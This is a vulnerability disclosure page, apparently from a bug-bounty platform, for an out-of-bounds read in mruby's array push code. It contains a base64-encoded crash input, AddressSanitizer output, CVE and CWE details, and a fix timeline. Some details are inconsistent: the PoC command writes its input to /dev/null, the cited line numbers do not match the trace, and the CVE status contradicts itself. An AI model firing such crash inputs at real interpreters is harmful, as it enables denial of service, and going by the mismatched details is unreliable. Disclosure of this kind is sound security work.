

# Out-of-bounds Read in mruby/mruby

0

Valid

Reported on Feb 21st 2022

## Description

OOB read occurs in `mruby_ary_push()`.

commit : 5d9239c2c4644fa8a59d9f5159b4950569dd5e0e

## Proof of Concept

```
# poc
$ echo -ne "WzpfXVswLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDBdPTp0" | base64 -d > /dev/null

# ASAN
$ ./bin/mruby poc
```

AddressSanitizer:DEADLYSIGNAL

```
=====
==503792==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000011 (
==503792==The signal is caused by a READ memory access.
==503792==Hint: address points to the zero page.
#0 0x4f7484 in mruby_ary_push /home/alkyne/mruby-debug/src/array.c:503:17
#1 0x5ee6f1 in mruby_vm_exec /home/alkyne/mruby-debug/src/vm.c:2633:9
#2 0x5c1bca in mruby_vm_run /home/alkyne/mruby-debug/src/vm.c:1130:12
#3 0x5bbfd9 in mruby_top_run /home/alkyne/mruby-debug/src/vm.c:3039:12
#4 0x697a2b in mruby_load_exec /home/alkyne/mruby-debug/mrbgems/mruby-com
#5 0x698c0b in mruby_load_detect_file_cxt /home/alkyne/mruby-debug/mrbgen
#6 0x4cf83f in main /home/alkyne/mruby-debug/mrbgems/mruby-bin-mruby/tc
#7 0x7ffff7a710b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/c
#8 0x41d6ed in _start (/home/alkyne/mruby-debug/bin/mruby+0x41d6ed)
```

AddressSanitizer can not provide additional info.

SUMMARY: AddressSanitizer: SEGV /home/alkyne/mruby-debug/src

==503792==ABORTING

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## Occurrences

array.c L2633

array.c L3039

### CVE

CVE-2022-0717  
(Published)

### Vulnerability Type

CWE-125: Out-of-bounds Read

### Severity

Medium (6.8)

### Visibility

Public

### Status

Fixed

### Found by



alkyne Choi

@alkyne

unranked

### Fixed by



Yukihiro "Matz" Matsumoto

@matz

maintainer

This report was seen 458 times.

We are processing your report and will contact the **mruby** team within 24 hours. 9 months ago

Yukihiro "Matz" Matsumoto modified the report 9 months ago

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Yukihiro "Matz" Matsumoto validated this vulnerability 9 months ago

alkyne Choi has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Yukihiro "Matz" Matsumoto marked this as fixed in 3.2 with commit f72315 9 months ago

Yukihiro "Matz" Matsumoto has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

array.c#L2633 has been validated ✓

array.c#L3039 has been validated ✓

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